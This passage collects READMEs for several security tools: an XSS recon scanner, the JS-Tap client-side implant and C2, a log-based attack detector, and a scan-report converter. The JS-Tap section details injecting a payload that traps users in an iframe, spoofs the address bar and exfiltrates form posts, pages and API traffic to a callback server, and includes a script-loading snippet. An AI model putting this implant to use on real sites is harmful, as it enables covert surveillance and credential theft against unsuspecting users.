Retrieves relevant subdomains for the target website and consolidates them into a whitelist. These subdomains can be utilized during the scraping process.
Site-wide Link Discovery:
Collects all links throughout the website based on the provided whitelist and the specified max_depth
.
Form and Input Extraction:
Identifies all forms and inputs found within the extracted links, generating a JSON output. This JSON output serves as a foundation for leveraging the XSS scanning capability of the tool.
XSS Scanning:
Note:
The scanning functionality is currently inactive on SPA (Single Page Application) web applications, and we have only tested it on websites developed with PHP, yielding remarkable results. In the future, we plan to incorporate these features into the tool.
Note:
This tool maintains an up-to-date list of file extensions that it skips during the exploration process. The default list includes common file types such as images, stylesheets, and scripts (
".css",".js",".mp4",".zip","png",".svg",".jpeg",".webp",".jpg",".gif"
). You can customize this list to better suit your needs by editing the setting.json file..
$ git clone https://github.com/joshkar/X-Recon
$ cd X-Recon
$ python3 -m pip install -r requirements.txt
$ python3 xr.py
You can use this address in the Get URL section
http://testphp.vulnweb.com
JavaScript payload and supporting software to be used as XSS payload or post exploitation implant to monitor users as they use the targeted application. Also includes a C2 for executing custom JavaScript payloads in clients.
Major changes are documented in the project Announcements:
https://github.com/hoodoer/JS-Tap/discussions/categories/announcements
You can read the original blog post about JS-Tap here:
javascript-for-red-teams">https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams
Short demo from ShmooCon of JS-Tap version 1:
https://youtu.be/IDLMMiqV6ss?si=XunvnVarqSIjx_x0&t=19814
Demo of JS-Tap version 2 at HackSpaceCon, including C2 and how to use it as a post exploitation implant:
https://youtu.be/aWvNLJnqObQ?t=11719
A demo can also be seen in this webinar:
https://youtu.be/-c3b5debhME?si=CtJRqpklov2xv7Um
I do not plan on creating migration scripts for the database, and version number bumps often involve database schema changes (check the changelogs). You should probably delete your jsTap.db database on version bumps. If you have custom payloads in your JS-Tap server, make sure you export them before the upgrade.
JS-Tap is a generic JavaScript payload and supporting software to help red teamers attack webapps. The JS-Tap payload can be used as an XSS payload or as a post exploitation implant.
The payload does not require the targeted user running the payload to be authenticated to the application being attacked, and it does not require any prior knowledge of the application beyond finding a way to get the JavaScript into the application.
Instead of attacking the application server itself, JS-Tap focuses on the client-side of the application and heavily instruments the client-side code.
The example JS-Tap payload is contained in the telemlib.js file in the payloads directory, however any file in this directory is served unauthenticated. Copy the telemlib.js file to whatever filename you wish and modify the configuration as needed. This file has not been obfuscated. Prior to using in an engagement strongly consider changing the naming of endpoints, stripping comments, and highly obfuscating the payload.
Make sure you review the configuration section below carefully before using on a publicly exposed server.
Note: ability to receive copies of XHR and Fetch API calls works in trap mode. In implant mode only Fetch API can be copied currently.
The payload has two modes of operation. Whether the mode is trap or implant is set in the initGlobals() function, search for the window.taperMode variable.
Trap mode is typically the mode you would use as a XSS payload. Execution of XSS payloads is often fleeting, the user viewing the page where the malicious JavaScript payload runs may close the browser tab (the page isn't interesting) or navigate elsewhere in the application. In both cases, the payload will be deleted from memory and stop working. JS-Tap needs to run a long time or you won't collect useful data.
Trap mode combats this by establishing persistence using an iFrame trap technique. The JS-Tap payload will create a full page iFrame, and start the user elsewhere in the application. This starting page must be configured ahead of time. In the initGlobals() function search for the window.taperstartingPage variable and set it to an appropriate starting location in the target application.
In trap mode JS-Tap monitors the location of the user in the iframe trap and it spoofs the address bar of the browser to match the location of the iframe.
Note that the application targeted must allow iFraming from same-origin or self if it's setting CSP or X-Frame-Options headers. JavaScript based framebusters can also prevent iFrame traps from working.
Note, I've had good luck using Trap Mode for a post exploitation implant in very specific locations of an application, or when I'm not sure what resources the application is using inside the authenticated section of the application. You can put an implant in the login page, with trap mode and the trap mode start page set to window.location.href (i.e. current location). The trap will set when the user visits the login page, and they'll hopefully contine into the authenticated portions of the application inside the iframe trap.
A user refreshing the page will generally break/escape the iframe trap.
Implant mode would typically be used if you're directly adding the payload into the targeted application. Perhaps you have a shell on the server that hosts the JavaScript files for the application. Add the payload to a JavaScript file that's used throughout the application (jQuery, main.js, etc.). Which file would be ideal really depends on the app in question and how it's using JavaScript files. Implant mode does not require a starting page to be configured, and does not use the iFrame trap technique.
A user refreshing the page in implant mode will generally continue to run the JS-Tap payload.
Requires python3. A large number of dependencies are required for the jsTapServer, you are highly encouraged to use python virtual environments to isolate the libraries for the server software (or whatever your preferred isolation method is).
Example:
mkdir jsTapEnvironment
python3 -m venv jsTapEnvironment
source jsTapEnvironment/bin/activate
cd jsTapEnvironment
git clone https://github.com/hoodoer/JS-Tap
cd JS-Tap
pip3 install -r requirements.txt
run in debug/single thread mode:
python3 jsTapServer.py
run with gunicorn multithreaded (production use):
./jstapRun.sh
A new admin password is generated on startup. If you didn't catch it in the startup print statements you can find the credentials saved to the adminCreds.txt file.
If an existing database is found by jsTapServer on startup it will ask you if you want to keep existing clients in the database or drop those tables to start fresh.
Note that on Mac I also had to install libmagic outside of python.
brew install libmagic
Playing with JS-Tap locally is fine, but to use in a proper engagment you'll need to be running JS-Tap on publicly accessible VPS and setup JS-Tap with PROXYMODE set to True. Use NGINX on the front end to handle a valid certificate.
If you're running JS-Tap with the jsTapServer.py script in single threaded mode (great for testing/demos) there are configuration options directly in the jsTapServer.py script.
For production use JS-Tap should be hosted on a publicly available server with a proper SSL certificate from someone like letsencrypt. The easiest way to deploy this is to allow NGINX to act as a front-end to JS-Tap and handle the letsencrypt cert, and then forward the decrypted traffic to JS-Tap as HTTP traffic locally (i.e. NGINX and JS-Tap run on the same VPS).
If you set proxyMode to true, JS-Tap server will run in HTTP mode, and take the client IP address from the X-Forwarded-For header, which NGINX needs to be configured to set.
When proxyMode is set to false, JS-Tap will run with a self-signed certificate, which is useful for testing. The client IP will be taken from the source IP of the client.
The dataDirectory parameter tells JS-Tap where the directory is to use for the SQLite database and loot directory. Not all "loot" is stored in the database, screenshots and scraped HTML files in particular are not.
To change the server port configuration see the last line of jsTapServer.py
app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
Gunicorn is the preferred means of running JS-Tap in production. The same settings mentioned above can be set in the jstapRun.sh bash script. Values set in the startup script take precedence over the values set directly in the jsTapServer.py script when JS-Tap is started with the gunicorn startup script.
A big difference in configuration when using Gunicorn for serving the application is that you need to configure the number of workers (heavy weight processes) and threads (lightweight serving processes). JS-Tap is a very I/O heavy application, so using threads in addition to workers is beneficial in scaling up the application on multi-processor machines. Note that if you're using NGINX on the same box you need to configure NGNIX to also use multiple processes so you don't bottleneck on the proxy itself.
At the top of the jstapRun.sh script are the numWorkers and numThreads parameters. I like to use number of CPUs + 1 for workers, and 4-8 threads depending on how beefy the processors are. For NGINX in its configuration I typically set worker_processes auto;
Proxy Mode is set by the PROXYMODE variable, and the data directory with the DATADIRECTORY variable. Note the data directory variable needs a trailing '/' added.
Using the gunicorn startup script will use a self-signed cert when started with PROXYMODE set to False. You need to generate that self-signed cert first with:
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
These configuration variables are in the initGlobals() function.
You need to configure the payload with the URL of the JS-Tap server it will connect back to.
window.taperexfilServer = "https://127.0.0.1:8444";
Set to either trap or implant This is set with the variable:
window.taperMode = "trap";
or
window.taperMode = "implant";
Only needed for trap mode. See explanation in Operating Modes section above.
Sets the page the user starts on when the iFrame trap is set.
window.taperstartingPage = "http://targetapp.com/somestartpage";
If you want the trap to start on the current page, instead of redirecting the user to a different page in the iframe trap, you can use:
window.taperstartingPage = window.location.href;
Useful if you're using JS-Tap against multiple applications or deployments at once and want a visual indicator of what payload was loaded. Remember that the entire /payloads directory is served, you can have multiple JS-Tap payloads configured with different modes, start pages, and clien tags.
This tag string (keep it short!) is prepended to the client nickname in the JS-Tap portal. Setup multiple payloads, each with the appropriate configuration for the application its being used against, and add a tag indicating which app the client is running.
window.taperTag = 'whatever';
Used to set if clients are checking for Custom Payload tasks, and how often they're checking. The jitter settings Let you optionally set a floor and ceiling modifier. A random value between these two numbers will be picked and added to the check delay. Set these to 0 and 0 for no jitter.
window.taperTaskCheck = true;
window.taperTaskCheckDelay = 5000;
window.taperTaskJitterBottom = -2000;
window.taperTaskJitterTop = 2000;
true/false setting on whether a copy of the HTML code of each page viewed is exfiltrated.
window.taperexfilHTML = true;
true/false setting on whether to intercept a copy of all form posts.
window.taperexfilFormSubmissions = true;
Enable monkeypatching of XHR and Fetch APIs. This works in trap mode. In implant mode, only Fetch APIs are monkeypatched. Monkeypatching allows JavaScript to be rewritten at runtime. Enabling this feature will re-write the XHR and Fetch networking APIs used by JavaScript code in order to tap the contents of those network calls. Not that jQuery based network calls will be captured in the XHR API, which jQuery uses under the hood for network calls.
window.monkeyPatchAPIs = true;
By default JS-Tap will capture a new screenshot after the user navigates to a new page. Some applications do not change their path when new data is loaded, which would cause missed screenshots. JS-Tap can be configured to capture a new screenshot after an XHR or Fetch API call is made. These API calls are often used to retrieve new data to display. Two settings are offered, one to enable the "after API call screenshot", and a delay in milliseconds. X milliseconds after the API call JS-Tap will capture the new screenshot.
window.postApiCallScreenshot = true;
window.screenshotDelay = 1000;
Login with the admin credentials provided by the server script on startup.
Clients show up on the left, selecting one will show a time series of their events (loot) on the right.
The clients list can be sorted by time (first seen, last update received) and the list can be filtered to only show the "starred" clients. There is also a quick filter search above the clients list that allows you to quickly filter clients that have the entered string. Useful if you set an optional tag in the payload configuration. Optional tags show up prepended to the client nickname.
Each client has an 'x' button (near the star button). This allows you to delete the session for that client, if they're sending junk or useless data, you can prevent that client from submitting future data.
When the JS-Tap payload starts, it retrieves a session from the JS-Tap server. If you want to stop all new client sessions from being issues, select Session Settings at the top and you can disable new client sessions. You can also block specific IP addresses from receiving a session in here.
Each client has a "notes" feature. If you find juicy information for that particular client (credentials, API tokens, etc) you can add it to the client notes. After you've reviewed all your clients and made you notes, the View All Notes feature at the top allows you to export all notes from all clients at once.
The events list can be filtered by event type if you're trying to focus on something specific, like screenshots. Note that the events/loot list does not automatically update (the clients list does). If you want to load the latest events for the client you need to select the client again on the left.
Starting in version 1.02 there is a custom payload feature. Multiple JavaScript payloads can be added in the JS-Tap portal and executed on a single client, all current clients, or set to autorun on all future clients. Payloads can be written/edited within the JS-Tap portal, or imported from a file. Payloads can also be exported. The format for importing payloads is simple JSON. The JavaScript code and description are simply base64 encoded.
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
The main user interface for custom payloads is from the top menu bar. Select Custom Payloads to open the interface. Any existing payloads will be shown in a list on the left. The button bar allows you to import and export the list. Payloads can be edited on the right side. To load an existing payload for editing select the payload by clicking on it in the Saved Payloads list. Once you have payloads defined and saved, you can execute them on clients.
In the main Custom Payloads view you can launch a payload against all current clients (the Run Payload button). You can also toggle on the Autorun attribute of a payload, which means that all new clients will run the payload. Note that existing clients will not run a payload based on the Autorun setting.
You can toggle on Repeat Payload and the payload will be tasked for each client when they check for tasks. Remember, the rate that a client checks for custom payload tasks is variable, and that rate can be changed in the main JS-Tap payload configuration. That rate can be changed with a custom payload (calling the updateTaskCheckInterval(newDelay) function). The jitter in the task check delay can be set with the updateTaskCheckJitter(newTop, newBottom) function.
The Clear All Jobs button in the custom payload UI will delete all custom payload jobs from the queue for all clients and resets the auto/repeat run toggles.
To run a payload on a single client user the Run Payload button on the specific client you wish to run it on, and then hit the run button for the specific payload you wish to use. You can also set Repeat Payload on individual clients.
A few tools are included in the tools subdirectory.
A script to stress test the jsTapServer. Good for determining roughly how many clients your server can handle. Note that running the clientSimulator script is probably more resource intensive than the actual jsTapServer, so you may wish to run it on a separate machine.
At the top of the script is a numClients variable, set to how many clients you want to simulator. The script will spawn a thread for each, retrieve a client session, and send data in simulating a client.
numClients = 50
You'll also need to configure where you're running the jsTapServer for the clientSimulator to connect to:
apiServer = "https://127.0.0.1:8444"
JS-Tap run using gunicorn scales quite well.
A simple app used for testing XHR/Fetch monkeypatching, but can give you a simple app to test the payload against in general.
Run with:
python3 monkeyPatchLab.py
By default this will start the application running on:
https://127.0.0.1:8443
Pressing the "Inject JS-Tap payload" button will run the JS-Tap payload. This works for either implant or trap mode. You may need to point the monkeyPatchLab application at a new JS-Tap server location for loading the payload file, you can find this set in the injectPayload() function in main.js
function injectPayload()
{
document.head.appendChild(Object.assign(document.createElement('script'),
{src:'https://127.0.0.1:8444/lib/telemlib.js',type:'text/javascript'}));
}
Abandoned tool, is a good start on analyzing HTML for forms and parsing out their parameters. Intended to help automatically generate JavaScript payloads to target form posts.
You should be able to run it on exfiltrated HTML files. Again, this is currently abandonware.
No longer working, used before the web UI for JS-Tap. The generateIntelReport script would comb through the gathered loot and generate a PDF report. Saving all the loot to disk is now disabled for performance reasons, most of it is stored in the datagbase with the exception of exfiltratred HTML code and screenshots.
@hoodoer
hoodoer@bitwisemunitions.dev
Automate the process of analyzing web server logs with the Python Web Log Analyzer. This powerful tool is designed to enhance security by identifying and detecting various types of cyber attacks within your server logs. Stay ahead of potential threats with features that include:
Attack Detection: Identify and flag potential Cross-Site Scripting (XSS), Local File Inclusion (LFI), Remote File Inclusion (RFI), and other common web application attacks.
Rate Limit Monitoring: Detect suspicious patterns in multiple requests made in a short time frame, helping to identify brute-force attacks or automated scanning tools.
Automated Scanner Detection: Keep your web applications secure by identifying requests associated with known automated scanning tools or vulnerability scanners.
User-Agent Analysis: Analyze and identify potentially malicious User-Agent strings, allowing you to spot unusual or suspicious behavior.
This project is actively developed, and future features may include:
The tool only requires Python 3 at the moment.
After cloning the repository to your local machine, you can initiate the application by executing the command python3 WLA-cli.py. simple usage example : python3 WLA-cli.py -l LogSampls/access.log -t
use -h or --help for more detailed usage examples : python3 WLA-cli.py -h
linkdin:(https://www.linkedin.com/in/oudjani-seyyid-taqy-eddine-b964a5228)
This tool takes a scanning tool's output file, and converts it to a tabular format (CSV, XLSX, or text table). This tool can process output from the following tools:
This tool can offer a human-readable, tabular format which you can tie to any observations you have drafted in your report. Why? Because then your reviewers can tell that you, the pentester, investigated all found open ports, and looked at all scanning reports.
Using Pip:
pip install --user sr2t
You can use sr2t
in two ways:
sr2t --help
.python -m src.sr2t --help
$ sr2t --help
usage: sr2t [-h] [--nessus NESSUS [NESSUS ...]] [--nmap NMAP [NMAP ...]]
[--nikto NIKTO [NIKTO ...]] [--dirble DIRBLE [DIRBLE ...]]
[--testssl TESTSSL [TESTSSL ...]]
[--fortify FORTIFY [FORTIFY ...]] [--nmap-state NMAP_STATE]
[--nmap-services] [--no-nessus-autoclassify]
[--nessus-autoclassify-file NESSUS_AUTOCLASSIFY_FILE]
[--nessus-tls-file NESSUS_TLS_FILE]
[--nessus-x509-file NESSUS_X509_FILE]
[--nessus-http-file NESSUS_HTTP_FILE]
[--nessus-smb-file NESSUS_SMB_FILE]
[--nessus-rdp-file NESSUS_RDP_FILE]
[--nessus-ssh-file NESSUS_SSH_FILE]
[--nessus-min-severity NESSUS_MIN_SEVERITY]
[--nessus-plugin-name-width NESSUS_PLUGIN_NAME_WIDTH]
[--nessus-sort-by NESSUS_SORT_BY]
[--nikto-description-width NIKTO_DESCRIPTION_WIDTH]< br/> [--fortify-details] [--annotation-width ANNOTATION_WIDTH]
[-oC OUTPUT_CSV] [-oT OUTPUT_TXT] [-oX OUTPUT_XLSX]
[-oA OUTPUT_ALL]
Converting scanning reports to a tabular format
optional arguments:
-h, --help show this help message and exit
--nmap-state NMAP_STATE
Specify the desired state to filter (e.g.
open|filtered).
--nmap-services Specify to ouput a supplemental list of detected
services.
--no-nessus-autoclassify
Specify to not autoclassify Nessus results.
--nessus-autoclassify-file NESSUS_AUTOCLASSIFY_FILE
Specify to override a custom Nessus autoclassify YAML
file.
--nessus-tls-file NESSUS_TLS_FILE
Specify to override a custom Nessus TLS findings YAML
file.
--nessus-x509-file NESSUS_X509_FILE
Specify to override a custom Nessus X.509 findings
YAML file.
--nessus-http-file NESSUS_HTTP_FILE
Specify to override a custom Nessus HTTP findings YAML
file.
--nessus-smb-file NESSUS_SMB_FILE
Specify to override a custom Nessus SMB findings YAML
file.
--nessus-rdp-file NESSUS_RDP_FILE
Specify to override a custom Nessus RDP findings YAML
file.
--nessus-ssh-file NESSUS_SSH_FILE
Specify to override a custom Nessus SSH findings YAML
file.
--nessus-min-severity NESSUS_MIN_SEVERITY
Specify the minimum severity to output (e.g. 1).
--nessus-plugin-name-width NESSUS_PLUGIN_NAME_WIDTH
Specify the width of the pluginid column (e.g. 30).
--nessus-sort-by NESSUS_SORT_BY
Specify to sort output by ip-address, port, plugin-id,
plugin-name or severity.
--nikto-description-width NIKTO_DESCRIPTION_WIDTH
Specify the width of the description column (e.g. 30).
--fortify-details Specify to include the Fortify abstracts, explanations
and recommendations for each vulnerability.
--annotation-width ANNOTATION_WIDTH
Specify the width of the annotation column (e.g. 30).
-oC OUTPUT_CSV, --output-csv OUTPUT_CSV
Specify the output CSV basename (e.g. output).
-oT OUTPUT_TXT, --output-txt OUTPUT_TXT
Specify the output TXT file (e.g. output.txt).
-oX OUTPUT_XLSX, --output-xlsx OUTPUT_XLSX
Specify the outpu t XLSX file (e.g. output.xlsx). Only
for Nessus at the moment
-oA OUTPUT_ALL, --output-all OUTPUT_ALL
Specify the output basename to output to all formats
(e.g. output).
specify at least one:
--nessus NESSUS [NESSUS ...]
Specify (multiple) Nessus XML files.
--nmap NMAP [NMAP ...]
Specify (multiple) Nmap XML files.
--nikto NIKTO [NIKTO ...]
Specify (multiple) Nikto XML files.
--dirble DIRBLE [DIRBLE ...]
Specify (multiple) Dirble XML files.
--testssl TESTSSL [TESTSSL ...]
Specify (multiple) Testssl JSON files.
--fortify FORTIFY [FORTIFY ...]
Specify (multiple) HP Fortify FPR files.
A few examples
To produce an XLSX format:
$ sr2t --nessus example/nessus.nessus --no-nessus-autoclassify -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --nessus example/nessus.nessus
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
| host | port | plugin id | plugin name | severity | annotations |
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
| 192.168.142.4 | 3389 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
| 192.168.142.4 | 443 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
| 192.168.142.4 | 3389 | 18405 | Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness | 2 | X |
| 192.168.142.4 | 3389 | 30218 | Terminal Services Encryption Level is not FIPS-140 Compliant | 1 | X |
| 192.168.142.4 | 3389 | 57690 | Terminal Services Encryption Level is Medium or Low | 2 | X |
| 192.168.142.4 | 3389 | 58453 | Terminal Services Doesn't Use Network Level Authentication (NLA) Only | 2 | X |
| 192.168.142.4 | 3389 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
| 192.168.142.4 | 443 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
| 192.168.142.4 | 3389 | 35291 | SSL Certificate Signed Using Weak Hashing Algorithm | 2 | X |
| 192.168.142.4 | 3389 | 57582 | SSL Self-Signed Certificate | 2 | X |
| 192.168.142.4 | 3389 | 51192 | SSL Certificate Can not Be Trusted | 2 | X |
| 192.168.142.2 | 3389 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
| 192.168.142.2 | 443 | 42873 | SSL Medium Strength Cipher Suites Supported (SWEET32) | 2 | X |
| 192.168.142.2 | 3389 | 18405 | Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness | 2 | X |
| 192.168.142.2 | 3389 | 30218 | Terminal Services Encryption Level is not FIPS-140 Compliant | 1 | X |
| 192.168.142.2 | 3389 | 57690 | Terminal Services Encryption Level is Medium or Low | 2 | X |
| 192.168.142.2 | 3389 | 58453 | Terminal Services Doesn't Use Network Level Authentication (NLA) Only | 2 | X |
| 192.168.142.2 | 3389 | 45411 | S SL Certificate with Wrong Hostname | 2 | X |
| 192.168.142.2 | 443 | 45411 | SSL Certificate with Wrong Hostname | 2 | X |
| 192.168.142.2 | 3389 | 35291 | SSL Certificate Signed Using Weak Hashing Algorithm | 2 | X |
| 192.168.142.2 | 3389 | 57582 | SSL Self-Signed Certificate | 2 | X |
| 192.168.142.2 | 3389 | 51192 | SSL Certificate Cannot Be Trusted | 2 | X |
| 192.168.142.2 | 445 | 57608 | SMB Signing not required | 2 | X |
+---------------+-------+-----------+-----------------------------------------------------------------------------+----------+-------------+
Or to output a CSV file:
$ sr2t --nessus example/nessus.nessus -oC example
$ cat example_nessus.csv
host,port,plugin id,plugin name,severity,annotations
192.168.142.4,3389,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.4,443,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.4,3389,18405,Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness,2,X
192.168.142.4,3389,30218,Terminal Services Encryption Level is not FIPS-140 Compliant,1,X
192.168.142.4,3389,57690,Terminal Services Encryption Level is Medium or Low,2,X
192.168.142.4,3389,58453,Terminal Services Doesn't Use Network Level Authentication (NLA) Only,2,X
192.168.142.4,3389,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.4,443,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.4,3389,35291,SSL Certificate Signed Using Weak Hashing Algorithm,2,X
192.168.142.4,3389,57582,SSL Self-Signed Certificate,2,X
192.168.142.4,3389,51192,SSL Certificate Cannot Be Trusted,2,X
192.168.142.2,3389,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.2,443,42873,SSL Medium Strength Cipher Suites Supported (SWEET32),2,X
192.168.142.2,3389,18405,Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness,2,X
192.168.142.2,3389,30218,Terminal Services Encryption Level is not FIPS-140 Compliant,1,X
192.168.142.2,3389,57690,Terminal Services Encryption Level is Medium or Low,2,X
192.168.142.2,3389,58453,Terminal Services Doesn't Use Network Level Authentication (NLA) Only,2,X
192.168.142.2,3389,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.2,443,45411,SSL Certificate with Wrong Hostname,2,X
192.168.142.2,3389,35291,SSL Certificate Signed Using Weak Hashing Algorithm,2,X
192.168.142.2,3389,57582,SSL Self-Signed Certificate,2,X
192.168.142.2,3389,51192,SSL Certificate Cannot Be Trusted,2,X
192.168.142.2,44 5,57608,SMB Signing not required,2,X
To produce an XLSX format:
$ sr2t --nmap example/nmap.xml -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --nmap example/nmap.xml --nmap-services
Nmap TCP:
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
| | 53 | 80 | 88 | 135 | 139 | 389 | 445 | 3389 | 5800 | 5900 |
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
| 192.168.23.78 | X | | X | X | X | X | X | X | | |
| 192.168.27.243 | | | | X | X | | X | X | X | X |
| 192.168.99.164 | | | | X | X | | X | X | X | X |
| 192.168.228.211 | | X | | | | | | | | |
| 192.168.171.74 | | | | X | X | | X | X | X | X |
+-----------------+----+----+----+-----+-----+-----+-----+------+------+------+
Nmap Services:
+-----------------+------+-------+---------------+-------+
| ip address | port | proto | service | state |
+--------------- --+------+-------+---------------+-------+
| 192.168.23.78 | 53 | tcp | domain | open |
| 192.168.23.78 | 88 | tcp | kerberos-sec | open |
| 192.168.23.78 | 135 | tcp | msrpc | open |
| 192.168.23.78 | 139 | tcp | netbios-ssn | open |
| 192.168.23.78 | 389 | tcp | ldap | open |
| 192.168.23.78 | 445 | tcp | microsoft-ds | open |
| 192.168.23.78 | 3389 | tcp | ms-wbt-server | open |
| 192.168.27.243 | 135 | tcp | msrpc | open |
| 192.168.27.243 | 139 | tcp | netbios-ssn | open |
| 192.168.27.243 | 445 | tcp | microsoft-ds | open |
| 192.168.27.243 | 3389 | tcp | ms-wbt-server | open |
| 192.168.27.243 | 5800 | tcp | vnc-http | open |
| 192.168.27.243 | 5900 | tcp | vnc | open |
| 192.168.99.164 | 135 | tcp | msrpc | open |
| 192.168.99.164 | 139 | tcp | netbios-ssn | open |
| 192 .168.99.164 | 445 | tcp | microsoft-ds | open |
| 192.168.99.164 | 3389 | tcp | ms-wbt-server | open |
| 192.168.99.164 | 5800 | tcp | vnc-http | open |
| 192.168.99.164 | 5900 | tcp | vnc | open |
| 192.168.228.211 | 80 | tcp | http | open |
| 192.168.171.74 | 135 | tcp | msrpc | open |
| 192.168.171.74 | 139 | tcp | netbios-ssn | open |
| 192.168.171.74 | 445 | tcp | microsoft-ds | open |
| 192.168.171.74 | 3389 | tcp | ms-wbt-server | open |
| 192.168.171.74 | 5800 | tcp | vnc-http | open |
| 192.168.171.74 | 5900 | tcp | vnc | open |
+-----------------+------+-------+---------------+-------+
Or to output a CSV file:
$ sr2t --nmap example/nmap.xml -oC example
$ cat example_nmap_tcp.csv
ip address,53,80,88,135,139,389,445,3389,5800,5900
192.168.23.78,X,,X,X,X,X,X,X,,
192.168.27.243,,,,X,X,,X,X,X,X
192.168.99.164,,,,X,X,,X,X,X,X
192.168.228.211,,X,,,,,,,,
192.168.171.74,,,,X,X,,X,X,X,X
To produce an XLSX format:
$ sr2t --nikto example/nikto.xml -oX example/nikto.xlsx
To produce an text tabular format to stdout:
$ sr2t --nikto example/nikto.xml
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
| target ip | target hostname | target port | description | annotations |
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
| 192.168.178.10 | 192.168.178.10 | 80 | The anti-clickjacking X-Frame-Options header is not present. | X |
| 192.168.178.10 | 192.168.178.10 | 80 | The X-XSS-Protection header is not defined. This header can hint to the user | X |
| | | | agent to protect against some forms of XSS | |
| 192.168.178.10 | 192.168.178.10 | 8 0 | The X-Content-Type-Options header is not set. This could allow the user agent to | X |
| | | | render the content of the site in a different fashion to the MIME type | |
+----------------+-----------------+-------------+----------------------------------------------------------------------------------+-------------+
Or to output a CSV file:
$ sr2t --nikto example/nikto.xml -oC example
$ cat example_nikto.csv
target ip,target hostname,target port,description,annotations
192.168.178.10,192.168.178.10,80,The anti-clickjacking X-Frame-Options header is not present.,X
192.168.178.10,192.168.178.10,80,"The X-XSS-Protection header is not defined. This header can hint to the user
agent to protect against some forms of XSS",X
192.168.178.10,192.168.178.10,80,"The X-Content-Type-Options header is not set. This could allow the user agent to
render the content of the site in a different fashion to the MIME type",X
To produce an XLSX format:
$ sr2t --dirble example/dirble.xml -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --dirble example/dirble.xml
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
| url | code | content len | is directory | is listable | found from listable | redirect url | annotations |
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
| http://example.org/flv | 0 | 0 | false | false | false | | X |
| http://example.org/hire | 0 | 0 | false | false | false | | X |
| http://example.org/phpSQLiteAdmin | 0 | 0 | false | false | false | | X |
| http://example.org/print_order | 0 | 0 | false | false | fa lse | | X |
| http://example.org/putty | 0 | 0 | false | false | false | | X |
| http://example.org/receipts | 0 | 0 | false | false | false | | X |
+-----------------------------------+------+-------------+--------------+-------------+---------------------+--------------+-------------+
Or to output a CSV file:
$ sr2t --dirble example/dirble.xml -oC example
$ cat example_dirble.csv
url,code,content len,is directory,is listable,found from listable,redirect url,annotations
http://example.org/flv,0,0,false,false,false,,X
http://example.org/hire,0,0,false,false,false,,X
http://example.org/phpSQLiteAdmin,0,0,false,false,false,,X
http://example.org/print_order,0,0,false,false,false,,X
http://example.org/putty,0,0,false,false,false,,X
http://example.org/receipts,0,0,false,false,false,,X
To produce an XLSX format:
$ sr2t --testssl example/testssl.json -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --testssl example/testssl.json
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
| ip address | port | BREACH | No HSTS | No PFS | No TLSv1.3 | RC4 | TLSv1.0 | TLSv1.1 | Wildcard |
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
| rc4-md5.badssl.com/104.154.89.105 | 443 | X | X | X | X | X | X | X | X |
+-----------------------------------+------+--------+---------+--------+------------+-----+---------+---------+----------+
Or to output a CSV file:
$ sr2t --testssl example/testssl.json -oC example
$ cat example_testssl.csv
ip address,port,BREACH,No HSTS,No PFS,No TLSv1.3,RC4,TLSv1.0,TLSv1.1,Wildcard
rc4-md5.badssl.com/104.154.89.105,443,X,X,X,X,X,X,X,X
To produce an XLSX format:
$ sr2t --fortify example/fortify.fpr -oX example.xlsx
To produce an text tabular format to stdout:
$ sr2t --fortify example/fortify.fpr
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
| | type | subtype | severity | confidence | annotations |
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
| example1/web.xml:135:135 | J2EE Misconfiguration | Insecure Transport | 3.0 | 5.0 | X |
| example2/web.xml:150:150 | J2EE Misconfiguration | Insecure Transport | 3.0 | 5.0 | X |
| example3/web.xml:109:109 | J2EE Misconfiguration | Incomplete Error Handling | 3.0 | 5.0 | X |
| example4/web.xml:108:108 | J2EE Misconfiguration | Incomplete Error Handling | 3.0 | 5.0 | X |
| example5/web.xml:166:166 | J2EE Misconfiguration | Inse cure Transport | 3.0 | 5.0 | X |
| example6/web.xml:2:2 | J2EE Misconfiguration | Excessive Session Timeout | 3.0 | 5.0 | X |
| example7/web.xml:162:162 | J2EE Misconfiguration | Missing Authentication Method | 3.0 | 5.0 | X |
+--------------------------+-----------------------+-------------------------------+----------+------------+-------------+
Or to output a CSV file:
$ sr2t --fortify example/fortify.fpr -oC example
$ cat example_fortify.csv
,type,subtype,severity,confidence,annotations
